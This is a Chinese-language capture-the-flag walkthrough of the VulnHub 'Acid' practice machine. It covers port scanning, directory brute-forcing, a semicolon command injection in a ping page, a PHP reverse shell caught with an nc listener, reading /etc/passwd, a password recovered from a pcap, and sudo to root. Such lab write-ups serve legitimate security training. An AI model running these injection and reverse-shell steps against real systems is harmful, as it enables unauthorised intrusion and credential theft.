VulnHub打靶の-Acid

靶机地址：https://download.vulnhub.com/acid/Acid.rar

首先nmap -sP 或netdiscover -r来找靶机的IP，此为192.168.1.171

nmap -sV -p- 192.168.1.171扫描靶机的全部端口的服务版本：

[email protected]:~# nmap -sV -p- 192.168.1.171
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-11 17:42 CST
Nmap scan report for 192.168.1.171
Host is up (0.0050s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE VERSION
33447/tcp open  http    Apache httpd 2.4.10 ((Ubuntu))
可见靶机开着提供http服务的33447端口，访问一下发现主页和主页源码没有任何线索：

**一下目录：dirb http://192.168.1.171:33447没什么收获，突然发现标题是/Challenge,访问一下：

继续**一下当前目录：

发现/cake.php,hack.php子目录,标题是/Magic_Box,继续访问，提示没权限：

继续**目录，发现command.php,有ping命令，尝试用';'成功绕过：

接下来反弹shell：

bash反弹失败，php反弹成功，获得一个web权限的shell：

[email protected]:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.1.171: inverse host lookup failed: Unknown host
connect to [192.168.1.169] from (UNKNOWN) [192.168.1.171] 46184
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

查看/etc/passwd寻找uid,gid大于1000的用户：

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:104:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:105:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:106:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:107:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:110::/home/syslog:/bin/false
messagebus:x:105:112::/var/run/dbus:/bin/false
uuidd:x:106:113::/run/uuidd:/bin/false
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/bin/false
ntp:x:108:117::/home/ntp:/bin/false
whoopsie:x:109:118::/nonexistent:/bin/false
acid:x:1000:1000:acid,,,:/home/acid:/bin/bash
mysql:x:111:126:MySQL Server,,,:/nonexistent:/bin/false
saman:x:1001:1001:,,,:/home/saman:/bin/bash
find / -user acid 2>/dev/null查找acid用户的文件：

发现hint.pcap网络流量包文件，打开分析流量：

 可得用户saman的密码为1337hax0r

sudo -i得到root权限：

[email protected]:~# cat flag.txt
cat flag.txt

Dear Hax0r,

You have successfully completed the challenge.

I  hope you like it.

FLAG NAME: "[email protected]@Hax0r"

Kind & Best Regards

-ACID
facebook: https://facebook.com/m.avinash143

此靶机完成。